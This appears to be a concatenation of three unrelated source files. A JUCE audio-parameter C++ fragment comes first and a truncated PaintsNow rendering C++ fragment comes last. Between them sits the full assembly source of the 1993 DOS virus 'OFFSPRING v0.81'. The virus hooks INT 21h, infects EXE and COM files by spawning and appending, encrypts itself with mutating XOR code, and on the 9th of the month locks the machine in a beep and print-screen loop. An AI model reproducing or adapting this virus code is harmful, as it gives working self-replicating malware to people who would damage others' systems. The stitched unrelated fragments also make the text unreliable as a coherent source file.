void valueTreeParentChanged (ValueTree&) override {}
static Parameter* getParameterForID (AudioProcessor& processor, StringRef paramID) noexcept
{
for (auto* ap : processor.getParameters())
{
// When using this class, you must allow it to manage all the parameters in your AudioProcessor, and
// not add any parameter objects of other types!
jassert (dynamic_cast<Parameter*> (ap) != nullptr);
auto* p = static_cast<Parameter*> (ap);
if (paramID == p->paramID)
return p;
}
return nullptr;
}
bool isMetaParameter() const override { return isMetaParam; }
bool isAutomatable() const override { return isAutomatableParam; }
bool isDiscrete() const override { return isDiscreteParam; }
bool isBoolean() const override { return isBooleanParam; }
AudioProcessorValueTreeState& owner;
ValueTree state;
ListenerList<AudioProcessorValueTreeState::Listener> listeners;
std::function<String (float)> valueToTextFunction;
std::function<float (const String&)> textToValueFunction;
NormalisableRange<float> range;
float value, defaultValue;
std::atomic<bool> needsUpdate { true };
bool listenersNeedCalling;
const bool isMetaParam, isAutomatableParam, isDiscreteParam, isBooleanParam;
bool ignoreParameterChangedCallbacks = false;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (Parameter)
};
//==============================================================================
AudioProcessorValueTreeState::AudioProcessorValueTreeState (AudioProcessor& p, UndoManager* um)
: processor (p), undoManager (um)
{
startTimerHz (10);
state.addListener (this);
}
AudioProcessorValueTreeState::~AudioProcessorValueTreeState() {}
AudioProcessorParameterWithID* AudioProcessorValueTreeState::createAndAddParameter (const String& paramID, const String& paramName,
const String& labelText, NormalisableRange<float> r,
float defaultVal, std::function<String (float)> valueToTextFunction,
std::function<float (const String&)> textToValueFunction,
bool isMetaParameter,
bool isAutomatableParameter,
bool isDiscreteParameter,
AudioProcessorParameter::Category category,
bool isBooleanParameter)
{
// All parameters must be created before giving this manager a ValueTree state!
jassert (! state.isValid());
Parameter* p = new Parameter (*this, paramID, paramName, labelText, r,
defaultVal, valueToTextFunction, textToValueFunction,
isMetaParameter, isAutomatableParameter,
isDiscreteParameter, category, isBooleanParameter);
processor.addParameter (p);
return p;
}
void AudioProcessorValueTreeState::addParameterListener (StringRef paramID, Listener* listener)
{
if (auto* p = Parameter::getParameterForID (processor, paramID))
p->listeners.add (listener);
}
void AudioProcessorValueTreeState::removeParameterListener (StringRef paramID, Listener* listener)
{
if (auto* p = Parameter::getParameterForID (processor, paramID))
p->listeners.remove (listener);
}
Value AudioProcessorValueTreeState::getParameterAsValue (StringRef paramID) const
{
if (auto* p = Parameter::getParameterForID (processor, paramID))
return p->state.getPropertyAsValue (valuePropertyID, undoManager);
return {};
}
NormalisableRange<float> AudioProcessorValueTreeState::getParameterRange (StringRef paramID) const noexcept
{
if (auto* p = Parameter::getParameterForID (processor, paramID))
return p->range;
return NormalisableRange<float>();
}
AudioProcessorParameterWithID* AudioProcessorValueTreeState::getParameter (StringRef paramID) const noexcept
{
return Parameter::getParameterForID (processor, paramID);
}
float* AudioProcessorValueTreeState::getRawParameterValue (StringRef paramID) const noexcept
{
if (auto* p = Parameter::getParameterForID (processor, paramID))
return &(p->value);
return nullptr;
}
ValueTree AudioProcessorValueTreeState::copyState()
{
ScopedLock lock (valueTreeChanging);
flushParameterValuesToValueTree();
return state.createCopy();
}
void AudioProcessorValueTreeState::replaceState (const ValueTree& newState)
{
ScopedLock lock (valueTreeChanging);
state = newState;
if (undoManager != nullptr)
undoManager->clearUndoHistory();
}
ValueTree AudioProcessorValueTreeState::getOrCreateChildValueTree (const String& paramID)
{
ValueTree v (state.getChildWithProperty (idPropertyID, paramID));
if (! v.isValid())
{
v = ValueTree (valueType);
v.setProperty (idPropertyID, paramID, nullptr);
state.appendChild (v, nullptr);
}
return v;
}
void AudioProcessorValueTreeState::updateParameterConnectionsToChildTrees()
{
ScopedLock lock (valueTreeChanging);
for (auto* param : processor.getParameters())
{
jassert (dynamic_cast<Parameter*> (param) != nullptr);
auto* p = static_cast<Parameter*> (param);
p->setNewState (getOrCreateChildValueTree (p->paramID));
}
}
void AudioProcessorValueTreeState::valueTreePropertyChanged (ValueTree& tree, const Identifier& property)
{
if (property == idPropertyID && tree.hasType (valueType) && tree.getParent() == state)
updateParameterConnectionsToChildTrees();
}
void AudioProcessorValueTreeState::valueTreeChildAdded (ValueTree& parent, ValueTree& tree)
{
if (parent == state && tree.hasType (valueType))
if (auto* param = Parameter::getParameterForID (processor, tree.getProperty (idPropertyID).toString()))
param->setNewState (getOrCreateChildValueTree (param->paramID));
}
void AudioProcessorValueTreeState::valueTreeChildRemoved (ValueTree& parent, ValueTree& tree, int)
{
if (parent == state && tree.hasType (valueType))
if (auto* param = Parameter::getParameterForID (processor, tree.getProperty (idPropertyID).toString()))
param->setNewState (getOrCreateChildValueTree (param->paramID));
}
void AudioProcessorValueTreeState::valueTreeRedirected (ValueTree& v)
{
if (v == state)
updateParameterConnectionsToChildTrees();
}
void AudioProcessorValueTreeState::valueTreeChildOrderChanged (ValueTree&, int, int) {}
void AudioProcessorValueTreeState::valueTreeParentChanged (ValueTree&) {}
bool AudioProcessorValueTreeState::flushParameterValuesToValueTree()
{
ScopedLock lock (valueTreeChanging);
bool anythingUpdated = false;
for (auto* ap : processor.getParameters())
{
jassert (dynamic_cast<Parameter*> (ap) != nullptr);
auto* p = static_cast<Parameter*> (ap);
bool needsUpdateTestValue = true;
if (p->needsUpdate.compare_exchange_strong (needsUpdateTestValue, false))
{
p->copyValueToValueTree();
anythingUpdated = true;
}
}
return anythingUpdated;
}
void AudioProcessorValueTreeState::timerCallback()
{
auto anythingUpdated = flushParameterValuesToValueTree();
startTimer (anythingUpdated ? 1000 / 50
: jlimit (50, 500, getTimerInterval() + 20));
}
AudioProcessorValueTreeState::Listener::Listener() {}
AudioProcessorValueTreeState::Listener::~Listener() {}
//==============================================================================
struct AttachedControlBase : public AudioProcessorValueTreeState::Listener,
public AsyncUpdater
{
AttachedControlBase (AudioProcessorValueTreeState& s, const String& p)
: state (s), paramID (p), lastValue (0)
{
state.addParameterListener (paramID, this);
}
void removeListener()
{
state.removeParameterListener (paramID, this);
}
void setNewUnnormalisedValue (float newUnnormalisedValue)
{
if (auto* p = state.getParameter (paramID))
{
const float newValue = state.getParameterRange (paramID)
.convertTo0to1 (newUnnormalisedValue);
if (p->getValue() != newValue)
p->setValueNotifyingHost (newValue);
}
}
void sendInitialUpdate()
{
if (auto* v = state.getRawParameterValue (paramID))
parameterChanged (paramID, *v);
}
void parameterChanged (const String&, float newValue) override
{
lastValue = newValue;
if (MessageManager::getInstance()->isThisTheMessageThread())
{
cancelPendingUpdate();
setValue (newValue);
}
else
{
triggerAsyncUpdate();
}
}
void beginParameterChange()
{
if (auto* p = state.getParameter (paramID))
{
if (state.undoManager != nullptr)
state.undoManager->beginNewTransaction();
p->beginChangeGesture();
}
}
void endParameterChange()
{
if (AudioProcessorParameter* p = state.getParameter (paramID))
p->endChangeGesture();
}
void handleAsyncUpdate() override
{
setValue (lastValue);
}
virtual void setValue (float) = 0;
AudioProcessorValueTreeState& state;
String paramID;
float lastValue;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (AttachedControlBase)
};
//==============================================================================
struct AudioProcessorValueTreeState::SliderAttachment::Pimpl : private AttachedControlBase,
private Slider::Listener
{
Pimpl (AudioProcessorValueTreeState& s, const String& p, Slider& sl)
: AttachedControlBase (s, p), slider (sl), ignoreCallbacks (false)
{
NormalisableRange<float> range (state.getParameterRange (paramID));
if (range.interval != 0 || range.skew != 0)
{
slider.setRange (range.start, range.end, range.interval);
slider.setSkewFactor (range.skew, range.symmetricSkew);
}
else
{
auto convertFrom0To1Function = [range] (double currentRangeStart,
double currentRangeEnd,
double normalisedValue) mutable
{
range.start = (float) currentRangeStart;
range.end = (float) currentRangeEnd;
return (double) range.convertFrom0to1 ((float) normalisedValue);
};
auto convertTo0To1Function = [range] (double currentRangeStart,
double currentRangeEnd,
double mappedValue) mutable
{
range.start = (float) currentRangeStart;
range.end = (float) currentRangeEnd;
return (double) range.convertTo0to1 ((float) mappedValue);
};
auto snapToLegalValueFunction = [range] (double currentRangeStart,
double currentRangeEnd,
double valueToSnap) mutable
{
range.start = (float) currentRangeStart;
range.end = (float) currentRangeEnd;
return (double) range.snapToLegalValue ((float) valueToSnap);
};
slider.setNormalisableRange ({ (double) range.start, (double) range.end,
convertFrom0To1Function,
convertTo0To1Function,
snapToLegalValueFunction });
}
if (auto* param = dynamic_cast<AudioProcessorValueTreeState::Parameter*> (state.getParameter (paramID)))
{
if (param->textToValueFunction != nullptr)
slider.valueFromTextFunction = [param] (const String& text) { return (double) param->textToValueFunction (text); };
if (param->valueToTextFunction != nullptr)
slider.textFromValueFunction = [param] (double value) { return param->valueToTextFunction ((float) value); };
slider.setDoubleClickReturnValue (true, range.convertFrom0to1 (param->getDefaultValue()));
}
sendInitialUpdate();
slider.addListener (this);
}
~Pimpl()
{
slider.removeListener (this);
removeListener();
}
void setValue (float newValue) override
{
const ScopedLock selfCallbackLock (selfCallbackMutex);
{
ScopedValueSetter<bool> svs (ignoreCallbacks, true);
slider.setValue (newValue, sendNotificationSync);
}
}
void sliderValueChanged (Slider* s) override
{
const ScopedLock selfCallbackLock (selfCallbackMutex);
if ((! ignoreCallbacks) && (! ModifierKeys::currentModifiers.isRightButtonDown()))
setNewUnnormalisedValue ((float) s->getValue());
}
void sliderDragStarted (Slider*) override { beginParameterChange(); }
void sliderDragEnded (Slider*) override { endParameterChange(); }
Slider& slider;
bool ignoreCallbacks;
CriticalSection selfCallbackMutex;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (Pimpl)
};
AudioProcessorValueTreeState::SliderAttachment::SliderAttachment (AudioProcessorValueTreeState& s, const String& p, Slider& sl)
: pimpl (new Pimpl (s, p, sl))
{
}
AudioProcessorValueTreeState::SliderAttachment::~SliderAttachment() {}
//==============================================================================
struct AudioProcessorValueTreeState::ComboBoxAttachment::Pimpl : private AttachedControlBase,
private ComboBox::Listener
{
Pimpl (AudioProcessorValueTreeState& s, const String& p, ComboBox& c)
: AttachedControlBase (s, p), combo (c), ignoreCallbacks (false)
{
sendInitialUpdate();
combo.addListener (this);
}
~Pimpl()
{
combo.removeListener (this);
removeListener();
}
void setValue (float newValue) override
{
const ScopedLock selfCallbackLock (selfCallbackMutex);
if (state.getParameter (paramID) != nullptr)
{
auto normValue = state.getParameterRange (paramID)
.convertTo0to1 (newValue);
auto index = roundToInt (normValue * (combo.getNumItems() - 1));
if (index != combo.getSelectedItemIndex())
{
ScopedValueSetter<bool> svs (ignoreCallbacks, true);
combo.setSelectedItemIndex (index, sendNotificationSync);
}
}
}
void comboBoxChanged (ComboBox*) override
{
const ScopedLock selfCallbackLock (selfCallbackMutex);
if (! ignoreCallbacks)
{
if (auto* p = state.getParameter (paramID))
{
auto newValue = (float) combo.getSelectedItemIndex() / (combo.getNumItems() - 1);
if (p->getValue() != newValue)
{
beginParameterChange();
p->setValueNotifyingHost (newValue);
endParameterChange();
}
}
}
}
ComboBox& combo;
bool ignoreCallbacks;
CriticalSection selfCallbackMutex;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (Pimpl)
};
AudioProcessorValueTreeState::ComboBoxAttachment::ComboBoxAttachment (AudioProcessorValueTreeState& s, const String& p, ComboBox& c)
: pimpl (new Pimpl (s, p, c))
{
}
AudioProcessorValueTreeState::ComboBoxAttachment::~ComboBoxAttachment() {}
//==============================================================================
struct AudioProcessorValueTreeState::ButtonAttachment::Pimpl : private AttachedControlBase,
private Button::Listener
{
Pimpl (AudioProcessorValueTreeState& s, const String& p, Button& b)
: AttachedControlBase (s, p), button (b), ignoreCallbacks (false)
{
sendInitialUpdate();
button.addListener (this);
}
~Pimpl()
{
button.removeListener (this);
removeListener();
}
void setValue (float newValue) override
{
const ScopedLock selfCallbackLock (selfCallbackMutex);
{
ScopedValueSetter<bool> svs (ignoreCallbacks, true);
button.setToggleState (newValue >= 0.5f, sendNotificationSync);
}
}
void buttonClicked (Button* b) override
{
const ScopedLock selfCallbackLock (selfCallbackMutex);
if (! ignoreCallbacks)
{
beginParameterChange();
setNewUnnormalisedValue (b->getToggleState() ? 1.0f : 0.0f);
endParameterChange();
}
}
Button& button;
bool ignoreCallbacks;
CriticalSection selfCallbackMutex;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (Pimpl)
};
AudioProcessorValueTreeState::ButtonAttachment::ButtonAttachment (AudioProcessorValueTreeState& s, const String& p, Button& b)
: pimpl (new Pimpl (s, p, b))
{
}
AudioProcessorValueTreeState::ButtonAttachment::~ButtonAttachment() {}
} // namespace juce
|
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.81 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.81
;
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
; is called the virus will infect up to 5 files
; in the current directory. It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,4 ; Restore original first
add si,offset org_bytes ; five bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
jne end_21
cmp ch,0FBh ; don't infect when the virus
jne run_res ; executes a file
jmp end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,04
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,0e990h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,4
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,4
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.81','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start
|
#include "MaterialResource.h"
#include "../ResourceManager.h"
#include "../../../Core/Driver/Profiler/Optick/optick.h"
#include <sstream>
using namespace PaintsNow;
MaterialResource::MaterialResource(ResourceManager& manager, const String& uniqueID) : BaseClass(manager, uniqueID) {}
uint64_t MaterialResource::ComputeHashValue() const {
uint64_t hash = 0;
for (size_t i = 0; i < materialParams.variables.size(); i++) {
const IAsset::Material::Variable& var = materialParams.variables[i];
hash = HashBuffer(var.key.GetData(), var.key.GetSize(), hash);
hash = HashBuffer(var.value.GetData(), var.value.GetSize(), hash);
}
return hash;
}
void MaterialResource::ApplyMaterial(const TShared<ShaderResource>& original) {
PassBase& pass = original->GetPass();
PassBase::Updater& updater = original->GetPassUpdater();
// Apply material
for (size_t i = 0; i < materialParams.variables.size(); i++) {
const IAsset::Material::Variable& var = materialParams.variables[i];
PassBase::Parameter& parameter = const_cast<PassBase::Parameter&>(updater[var.key]);
if (parameter) {
if (var.type == IAsset::TYPE_TEXTURE) {
// Lookup texture
IAsset::TextureIndex textureIndex = var.Parse(UniqueType<IAsset::TextureIndex>());
IRender::Resource* texture = nullptr;
assert(textureIndex.value < textureResources.size());
if (textureIndex.value < textureResources.size()) {
TShared<TextureResource>& res = textureResources[textureIndex.value];
assert(res);
if (res) {
texture = res->GetRenderResource();
}
}
parameter = texture;
} else if (var.type == IAsset::TYPE_TEXTURE_RUNTIME || var.type == IAsset::TYPE_BUFFER_RUNTIME) {
assert(var.value.GetSize() == sizeof(IRender::Resource*));
IRender::Resource* renderResource = *reinterpret_cast<IRender::Resource* const*>(var.value.GetData());
parameter = renderResource;
} else {
parameter = var.value;
}
}
}
}
void MaterialResource::Export(IRender& render, IRender::Queue* queue, const TShared<ShaderResource>& original) {
Bytes templateHash = original->GetHashValue();
PassBase& pass = original->GetPass();
ApplyMaterial(original);
// get shader hash
pass.FlushOptions();
Bytes shaderHash = pass.ExportHash();
if (!(templateHash == shaderHash)) {
original->Compile(render, queue, &shaderHash);
}
}
TShared<ShaderResource> MaterialResource::Instantiate(const TShared<MeshResource>& mesh, IRender::Resource::DrawCallDescription& drawCallTemplate, std::vector<Bytes>& bufferData) {
OPTICK_EVENT();
assert(mesh);
TShared<ShaderResource> shaderTemplateResource = originalShaderResource;
Bytes templateHash = shaderTemplateResource->GetHashValue();
while (true) {
TShared<ShaderResource> mutationShaderResource;
mutationShaderResource.Reset(static_cast<ShaderResource*>(shaderTemplateResource->Clone()));
assert(mutationShaderResource->GetPassUpdater().GetBufferCount() != 0);
PassBase& pass = mutationShaderResource->GetPass();
PassBase::Updater& updater = mutationShaderResource->GetPassUpdater();
mutationShaderResource->GetPass().ClearBindings();
ApplyMaterial(mutationShaderResource);
// apply buffers
std::vector<PassBase::Parameter> descs;
std::vector<std::pair<uint32_t, uint32_t> > offsets;
mesh->bufferCollection.GetDescription(descs, offsets, updater);
std::vector<IRender::Resource*> data;
mesh->bufferCollection.UpdateData(data);
assert(data.size() == descs.size());
for (size_t k = 0; k < descs.size(); k++) {
IShader::BindBuffer* bindBuffer = descs[k].bindBuffer;
if (bindBuffer != nullptr) {
bindBuffer->resource = data[k];
}
}
// get shader hash
pass.FlushOptions();
Bytes shaderHash = pass.ExportHash();
if (templateHash == shaderHash) { // matched!
updater.Capture(drawCallTemplate, bufferData, 1 << IRender::Resource::BufferDescription::UNIFORM);
for (size_t k = 0; k < descs.size(); k++) {
assert(descs[k].slot < drawCallTemplate.bufferResources.size());
}
drawCallTemplate.shaderResource = shaderTemplateResource->GetShaderResource();
assert(drawCallTemplate.shaderResource != nullptr);
assert(shaderTemplateResource->GetPassUpdater().GetBufferCount() != 0);
return shaderTemplateResource;
} else {
templateHash = shaderHash;
// create new shader mutation
String location = originalShaderResource->GetLocation();
location += "/";
for (size_t i = 0; i < shaderHash.GetSize(); i++) {
shaderHash[i] += (uint8_t)'0';
}
location.append((const char*)shaderHash.GetData(), shaderHash.GetSize());
TShared<ShaderResource> cached = static_cast<ShaderResource*>(resourceManager.LoadExistSafe(location)());
if (cached) {
// use cache
mutationShaderResource = cached;
} else {
mutationShaderResource.Reset(static_cast<ShaderResource*>(mutationShaderResource->Clone()));
}
// cached?
resourceManager.DoLockWriter();
cached = static_cast<ShaderResource*>(resourceManager.LoadExist(location)());
if (cached) {
// use cache
resourceManager.UnLockWriter();
mutationShaderResource = cached;
} else {
mutationShaderResource->SetLocation(location);
assert(!(mutationShaderResource->Flag().load(std::memory_order_acquire) & RESOURCE_UPLOADED));
// printf("Variant Shader Created: %s\n", mutationShaderResource->GetLocation().c_str());
